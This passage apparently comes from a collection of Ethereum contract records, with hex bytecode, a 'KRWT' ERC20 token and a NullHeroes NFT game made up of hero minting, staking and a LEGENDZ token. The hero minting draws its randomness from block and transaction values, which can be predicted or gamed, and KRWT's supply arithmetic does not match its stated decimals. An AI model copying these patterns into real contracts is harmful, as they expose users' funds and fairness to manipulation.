696e7465640000000060448201526064016108dc565b6001600160a01b0382166000908152600360205260408120805460019290611f54908490612594565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611fbe9061245e565b90600052602060002090601f016020900481019282611fe05760008555612026565b82601f10611ff957805160ff1916838001178555612026565b82800160010185558215612026579182015b8281111561202657825182559160200191906001019061200b565b50612032929150612036565b5090565b5b808211156120325760008155600101612037565b6001600160e01b0319811681146116ae57600080fd5b60006020828403121561207357600080fd5b81356112d48161204b565b60005b83811015612099578181015183820152602001612081565b838111156111555750506000910152565b600081518084526120c281602086016020860161207e565b601f01601f19169290920160200192915050565b6020815260006112d460208301846120aa565b6000602082840312156120fb57600080fd5b5035919050565b80356001600160a01b038116811461211957600080fd5b919050565b6000806040838503121561213157600080fd5b61213a83612102565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff8084111561217957612179612148565b604051601f8501601f19908116603f011681019082821181831017156121a1576121a1612148565b816040528093508581528686860111156121ba57600080fd5b858560208301376000602087830101525050509392505050565b6000602082840312156121e657600080fd5b813567ffffffffffffffff8111156121fd57600080fd5b8201601f8101841361220e57600080fd5b61180e8482356020840161215e565b8035801515811461211957600080fd5b60006020828403121561223f57600080fd5b6112d48261221d565b60008060006060848603121561225d57600080fd5b61226684612102565b925061227460208501612102565b9150604084013590509250925092565b60006020828403121561229657600080fd5b6112d482612102565b6020808252825182820181905260009190848201906040850190845b818110156122d7578351835292840192918401916001016122bb565b50909695505050505050565b600080604083850312156122f657600080fd5b6122ff83612102565b915061230d6020840161221d565b90509250929050565b6000806000806080858703121561232c57600080fd5b61233585612102565b935061234360208601612102565b925060408501359150606085013567ffffffffffffffff81111561236657600080fd5b8501601f8101871361237757600080fd5b6123868782356020840161215e565b91505092959194509250565b6000806000604084860312156123a757600080fd5b83359250602084013567ffffffffffffffff808211156123c657600080fd5b818601915086601f8301126123da57600080fd5b8135818111156123e957600080fd5b8760208260051b85010111156123fe57600080fd5b6020830194508093505050509250925092565b6000806040838503121561242457600080fd5b61242d83612102565b915061230d60208401612102565b6000806040838503121561244e57600080fd5b8235915061230d60208401612102565b600181811c9082168061247257607f821691505b6020821081141561249357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561255f5761255f612535565b5060010190565b602080825260149082015273496e76616c6964206d696e7420616d6f756e742160601b604082015260600190565b600082198211156125a7576125a7612535565b500190565b6020808252601490820152734d617820737570706c792065786365656465642160601b604082015260600190565b60008160001904831182151516156125f4576125f4612535565b500290565b60008451602061260c8285838a0161207e565b85519184019161261f8184848a0161207e565b8554920191600090600181811c908083168061263c57607f831692505b85831081141561265a57634e487b7160e01b85526022600452602485fd5b80801561266e576001811461267f576126ac565b60ff198516885283880195506126ac565b60008b81526020902060005b858110156126a45781548a82015290840190880161268b565b505083880195505b50939b9a5050505050505050505050565b6000828210156126cf576126cf612535565b500390565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b634e487b7160e01b600052601260045260246000fd5b60008261274b5761274b612726565b500490565b60008261275f5761275f612726565b500690565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612797908301846120aa565b9695505050505050565b6000602082840312156127b357600080fd5b81516112d48161204b56fea264697066735822122026160a24f7a8f8d47356585cb8f0e5168690b5c1dc656f21f9c0dec635281d3264736f6c63430008090033
[ 5 ]
0xf1b5190801ad2ba004650692489a41a405bf2d47
pragma solidity 0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping(address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract KRWT is StandardToken { string constant public name = "Korean Won"; string constant public symbol = "KRWT"; uint8 constant public decimals = 0; uint public totalSupply = 10000000000 * 10**18; function KRWT() public { balances[msg.sender] = totalSupply; } }
0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014257806318160ddd1461019c57806323b872dd146101c5578063313ce5671461023e578063661884631461026d57806370a08231146102c757806395d89b4114610314578063a9059cbb146103a2578063d73dd623146103fc578063dd62ed3e14610456575b600080fd5b34156100bf57600080fd5b6100c76104c2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101075780820151818401526020810190506100ec565b50505050905090810190601f1680156101345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014d57600080fd5b610182600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104fb565b604051808215151515815260200191505060405180910390f35b34156101a757600080fd5b6101af6105ed565b6040518082815260200191505060405180910390f35b34156101d057600080fd5b610224600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105f3565b604051808215151515815260200191505060405180910390f35b341561024957600080fd5b6102516109b2565b604051808260ff1660ff16815260200191505060405180910390f35b341561027857600080fd5b6102ad600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109b7565b604051808215151515815260200191505060405180910390f35b34156102d257600080fd5b6102fe600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c48565b6040518082815260200191505060405180910390f35b341561031f57600080fd5b610327610c91565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036757808201518184015260208101905061034c565b50505050905090810190601f1680156103945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ad57600080fd5b6103e2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cca565b604051808215151515815260200191505060405180910390f35b341561040757600080fd5b61043c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610eee565b604051808215151515815260200191505060405180910390f35b341561046157600080fd5b6104ac600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110ea565b6040518082815260200191505060405180910390f35b6040805190810160405280600a81526020017f4b6f7265616e20576f6e0000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60035481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561063057600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561067e57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561070957600080fd5b61075b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461117190919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506107f082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461118a90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108c282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461117190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600081565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ac8576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b5c565b610adb838261117190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600481526020017f4b5257540000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d0757600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d5557600080fd5b610da782600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461117190919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e3c82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461118a90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000610f7f82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461118a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561117f57fe5b818303905092915050565b600080828401905083811015151561119e57fe5b80915050929150505600a165627a7a7230582003a3591e86f890973cce34862323d91dd3e4f4c4d98fa17f7f831a78c48a99f20029
[ 14 ]
0xF1b52c1E4C63B6f7D8e487d94FbeD55Ba25A41F4
// SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.11; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; import "./LEGENDZ.sol"; import "./NullHeroes.sol"; import "./HeroStakes.sol"; contract Lands is HeroStakes { constructor(address _legendz, address _nullHeroes) HeroStakes(_legendz, _nullHeroes, 10) { minDaysToClaim = 10 days; } function _resolveReward(uint256 _tokenId) internal override returns (uint256) { return _calculateBaseReward(stakes[_tokenId].lastClaim, _getDailyReward(_tokenId)); } function estimateReward(uint256 _tokenId) public view override returns (uint256) { return _calculateBaseReward(stakes[_tokenId].lastClaim, _getDailyReward(_tokenId)); } function estimateDailyReward() public pure override returns (uint256) { // estimated daily rate on an average of 22 attribute points return 110; } function estimateDailyReward(uint256 _tokenId) public view override returns (uint256) { return _getDailyReward(_tokenId); } /** * calculates the daily reward of a hero * @param _tokenId the tokenId of the hero * return the daily reward of the corresponding hero */ function _getDailyReward(uint256 _tokenId) internal view virtual returns (uint256) { NullHeroes.Hero memory hero = nullHeroes.getHero(_tokenId); return 5 * (hero.force + hero.intelligence + hero.agility); } } // contracts/NullHeroes.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.11; /** * __ __ __ __ __ __ * /\ "-.\ \ /\ \/\ \ /\ \ /\ \ * \ \ \-. \ \ \ \_\ \ \ \ \____ \ \ \____ * \ \_\\"\_\ \ \_____\ \ \_____\ \ \_____\ * www.\/_/ \/_/ \/_____/ \/_____/ \/_____/ * __ __ ______ ______ ______ ______ ______ * /\ \_\ \ /\ ___\ /\ == \ /\ __ \ /\ ___\ /\ ___\ * \ \ __ \ \ \ __\ \ \ __< \ \ \/\ \ \ \ __\ \ \___ \ * \ \_\ \_\ \ \_____\ \ \_\ \_\ \ \_____\ \ \_____\ \/\_____\ * \/_/\/_/ \/_____/ \/_/ /_/ \/_____/ \/_____/ \/_____/.io * * * Somewhere in the metaverse the null heroes compete to farm the * $LEGENDZ token, an epic ERC20 token that only the bravest will be able * to claim. * * Enroll some heroes and start farming the $LEGENDZ tokens now on: * https://www.nullheroes.io * * - OpenSea is already approved for transactions to spare gas fees * - NullHeroes and related staking contracts are optimized for low gas fees, * at least as much as I could :) * * made with love by [email protected] * special credits: NuclearNerds, WolfGame * */ import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "./ERC721Enumerable.sol"; import "./LEGENDZ.sol"; error NonExistentToken(); error LevelMax(); error TooMuchTokensPerTx(); error NotEnoughTokens(); error NotEnoughGiveaways(); error SaleNotStarted(); error NotEnoughEther(); error NotEnoughLegendz(); contract NullHeroes is ERC721Enumerable, Ownable, Pausable { // hero struct struct Hero { uint8 level; uint8 class; uint8 race; uint8 force; uint8 intelligence; uint8 agility; } // max heroes uint256 public constant MAX_TOKENS = 40000; // genesis heroes (25% of max heroes) uint256 public constant MAX_GENESIS_TOKENS = 10000; // giveaways (5% of genesis heroes) uint256 public constant MAX_GENESIS_TOKENS_GIVEAWAYS = 500; // max per tx uint256 public constant MAX_TOKENS_PER_TX = 10; uint256 public MINT_GENESIS_PRICE = .06942 ether; uint256 public MINT_PRICE = 70000; // giveaways counter uint256 public giveawayGenesisTokens; // $LEGENDZ token contract LEGENDZ private legendz; // pre-generated list of traits distributed by weight uint8[][3] private traits; // mapping from tokenId to a struct containing the token's traits mapping(uint256 => Hero) public heroes; // mapping from proxy address to authorization mapping(address => bool) private proxies; address private proxyRegistryAddress; address private accountingAddress; string private baseURI; constructor( string memory _baseURI, address _proxyRegistryAddress, address _accountingAddress, address _legendz ) ERC721("NullHeroes","NULLHEROES") { baseURI = _baseURI; proxyRegistryAddress = _proxyRegistryAddress; accountingAddress = _accountingAddress; legendz = LEGENDZ(_legendz); // classes - warrior: 0 | rogue: 1 | wizard: 2 | cultist: 3 | mercenary: 4 | ranger: 5 traits[0] = [1, 5, 3, 2, 4, 0]; // races - human: 0 | orc: 1 | elf: 2 | undead: 3 | ape: 4 | human: 5 traits[1] = [5, 0, 1, 3, 5, 0, 1, 4, 1, 5, 2, 0, 3, 0, 1, 5]; // base attribute points - 1 to 6 traits[2] = [1, 2, 3, 2, 2, 5, 1, 3, 2, 4, 1, 1, 2, 2, 3, 2, 5, 3, 6, 2, 2, 4, 3, 1, 3, 1, 4, 1, 1, 2, 1, 4, 2, 1, 3, 1, 2, 1, 2, 1, 1]; } /** * mints genesis heroes for the sender * @param amount the amount of heroes to mint */ function enrollGenesisHeroes(uint256 amount) external payable whenNotPaused { uint256 totalSupply = _owners.length; if (totalSupply >= MAX_GENESIS_TOKENS) revert NotEnoughTokens(); if (amount > MAX_TOKENS_PER_TX) revert TooMuchTokensPerTx(); if (msg.value < MINT_GENESIS_PRICE * amount) revert NotEnoughEther(); uint256 seed = _random(totalSupply); for (uint i; i < amount; i++) { heroes[i + totalSupply] = _generate(seed >> i, true); _mint(_msgSender(), i + totalSupply); } } /** * mints heroes for the sender * @param amount the amount of heroes to mint */ function enrollHeroes(uint256 amount) external whenNotPaused { uint256 totalSupply = _owners.length; if (totalSupply < MAX_GENESIS_TOKENS) revert SaleNotStarted(); if (totalSupply + amount > MAX_TOKENS) revert NotEnoughTokens(); if (amount > MAX_TOKENS_PER_TX) revert TooMuchTokensPerTx(); // check $LEGENDZ balance uint balance = legendz.balanceOf(_msgSender()); uint cost = MINT_PRICE * amount; if (cost > balance) revert NotEnoughLegendz(); // burn $LEGENDZ legendz.burn(_msgSender(), cost); uint256 seed = _random(totalSupply); for (uint i; i < amount; i++) { heroes[i + totalSupply] = _generate(seed >> i, false); _mint(_msgSender(), i + totalSupply); } } /** * mints free genesis heroes for a community member * @param amount the amount of genesis heroes to mint * @param recipient address of the recipient */ function enrollGenesisHeroesForGiveaway(address recipient, uint256 amount) external onlyOwner whenNotPaused { uint256 totalSupply = _owners.length; if (totalSupply >= MAX_GENESIS_TOKENS) revert NotEnoughTokens(); if (amount > MAX_TOKENS_PER_TX) revert TooMuchTokensPerTx(); if (giveawayGenesisTokens + amount > MAX_GENESIS_TOKENS_GIVEAWAYS) revert NotEnoughGiveaways(); giveawayGenesisTokens += amount; uint256 seed = _random(totalSupply); for (uint i; i < amount; i++) { heroes[i + totalSupply] = _generate(seed >> i, true); _mint(recipient, i + totalSupply); } } /** * generates a hero * @param seed a seed * @param isGenesis genesis flag */ function _generate(uint256 seed, bool isGenesis) private view returns (Hero memory h) { h.level = 1; h.class = _selectTrait(uint16(seed), 0); seed >>= 16; h.race = _selectTrait(uint16(seed), 1); seed >>= 16; h.force = _selectTrait(uint16(seed), 2); seed >>= 16; h.intelligence = _selectTrait(uint16(seed), 2); seed >>= 16; h.agility = _selectTrait(uint16(seed), 2); // add race modifiers if (h.race == 0 || h.race == 5) { // human h.force += 2; h.intelligence += 2; h.agility += 2; } else if (h.race == 1) { // orc h.force += 4; h.agility += 2; } else if (h.race == 3) { // undead h.force += 7; h.intelligence += 3; } else if (h.race == 2) { // elf h.force += 3; h.intelligence += 7; h.agility += 7; } else if (h.race == 4) { // ape h.force += 9; h.intelligence -= 1; h.agility += 9; } // add class modifiers if (h.class == 0) { // warrior h.force += 9; } else if (h.class == 1) { // rogue h.force += 3; h.agility += 7; } else if (h.class == 2) { // wizard h.agility += 4; h.force += 1; h.intelligence += 6; } else if (h.class == 3) { // cultist h.intelligence += 9; } else if (h.class == 4) { // mercenary h.force += 4; h.intelligence += 4; h.agility += 4; } else if (h.class == 5) { // ranger h.intelligence += 3; h.agility += 7; } // add genesis modifier if (isGenesis) { h.force += 1; h.agility += 1; h.intelligence += 1; } } /** * selects a random trait * @param seed portion of the 256 bit seed * @param traitType the trait type * @return the index of the randomly selected trait */ function _selectTrait(uint256 seed, uint256 traitType) private view returns (uint8) { if (seed < traits[traitType].length) return traits[traitType][seed]; return traits[traitType][seed % traits[traitType].length]; } /** * generates a pseudorandom number * @param seed a value ensure different outcomes for different sources in the same block * @return a pseudorandom value */ function _random(uint256 seed) private view returns (uint256) { return uint256(keccak256(abi.encodePacked( tx.origin, blockhash(block.number - 1), block.timestamp, seed ))); } function _mint(address to, uint256 tokenId) internal virtual override { _owners.push(to); emit Transfer(address(0), to, tokenId); } /** * transfers an array of tokens * @param _from the current owner * @param _to the new owner * @param _tokenIds the array of token ids */ function batchTransferFrom(address _from, address _to, uint256[] calldata _tokenIds) public { for (uint i; i < _tokenIds.length; i++) { transferFrom(_from, _to, _tokenIds[i]); } } /** * transfers an array of tokens * @param _from the current owner * @param _to the new owner * @param _tokenIds the ids of the tokens * @param _data the transfer data */ function batchSafeTransferFrom(address _from, address _to, uint256[] calldata _tokenIds, bytes memory _data) public { for (uint i; i < _tokenIds.length; i++) { safeTransferFrom(_from, _to, _tokenIds[i], _data); } } /** * level up a hero * @param tokenId the id of the token * @param attribute the attribute to update - force: 0 | intelligence: 1 | agility: 2 */ function levelUp(uint256 tokenId, uint8 attribute) external { if (!proxies[_msgSender()]) revert OnlyAuthorizedOperators(); if (!_exists(tokenId)) revert NonExistentToken(); if (heroes[tokenId].level > 99) revert LevelMax(); heroes[tokenId].level += 1; if (attribute == 0) heroes[tokenId].force += 1; else if (attribute == 1) heroes[tokenId].intelligence += 1; else if (attribute == 2) heroes[tokenId].agility += 1; } /** * gets a hero token * @param tokenId the id of the token * @return a hero struct */ function getHero(uint256 tokenId) public view returns (Hero memory) { if (!_exists(tokenId)) revert NonExistentToken(); return heroes[tokenId]; } /** * gets the tokens of an owner * @param owner owner's address * @return an array of the corresponding owner's token ids */ function tokensOfOwner(address owner) public view returns(uint256[] memory) { uint256 tokenCount = balanceOf(owner); if (tokenCount == 0) return new uint256[](0); uint256[] memory tokensIds = new uint256[](tokenCount); for (uint i; i < tokenCount; i++) { tokensIds[i] = tokenOfOwnerByIndex(owner, i); } return tokensIds; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!_exists(tokenId)) revert NonExistentToken(); return string(abi.encodePacked(baseURI, Strings.toString(tokenId))); } function contractURI() public view returns (string memory) { return baseURI; } /** * updates base URI * @param _baseURI the new base URI */ function setBaseURI(string memory _baseURI) external onlyOwner { baseURI = _baseURI; } /** * updates proxy registry address * @param _proxyRegistryAddress proxy registry address */ function setProxyRegistryAddress(address _proxyRegistryAddress) external onlyOwner { proxyRegistryAddress = _proxyRegistryAddress; } /** * sets a proxy's authorization * @param proxyAddress address of the proxy * @param authorized the new authorization value */ function setProxy(address proxyAddress, bool authorized) external onlyOwner { proxies[proxyAddress] = authorized; } /** * burns a token * @param tokenId the id of the token */ function burn(uint256 tokenId) public { require(_isApprovedOrOwner(_msgSender(), tokenId), "not approved to burn"); _burn(tokenId); } /** * withdraws from contract's balance */ function withdraw() public onlyOwner { (bool success, ) = accountingAddress.call{value: address(this).balance}(""); require(success, "failed to send balance"); } /** * enables the contract's owner to pause / unpause minting * @param paused the new pause flag */ function setPaused(bool paused) external onlyOwner { if (paused) _pause(); else _unpause(); } /** * updates the genesis mint price * @param price new price */ function updateGenesisMintPrice(uint256 price) external onlyOwner { MINT_GENESIS_PRICE = price; } /** * updates the mint price * @param price new price */ function updateMintPrice(uint256 price) external onlyOwner { MINT_PRICE = price; } /** * overrides approvals to avoid opensea and operator contracts to generate approval gas fees * @param _owner the current owner * @param _operator the operator */ function isApprovedForAll(address _owner, address _operator) public view override returns (bool) { OpenSeaProxyRegistry proxyRegistry = OpenSeaProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(_owner)) == _operator || proxies[_operator]) return true; return super.isApprovedForAll(_owner, _operator); } } contract OwnableDelegateProxy { } contract OpenSeaProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.11; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; error OnlyAuthorizedOperators(); error OwnerAuthorizationLocked(); contract LEGENDZ is ERC20, Ownable { // mapping from address to whether or not it can mint / burn mapping(address => bool) proxies; constructor() ERC20("Legendz", "$LEGENDZ") { proxies[_msgSender()] = true; } /** * mints $LEGENDZ to a recipient * @param to the recipient of the $LEGENDZ * @param amount the amount of $LEGENDZ to mint */ function mint(address to, uint256 amount) external { if (!proxies[_msgSender()]) revert OnlyAuthorizedOperators(); _mint(to, amount); } /** * burns $LEGENDZ of a holder * @param from the holder of the $LEGENDZ * @param amount the amount of $LEGENDZ to burn */ function burn(address from, uint256 amount) external { if (!proxies[_msgSender()]) revert OnlyAuthorizedOperators(); _burn(from, amount); } /** * sets a 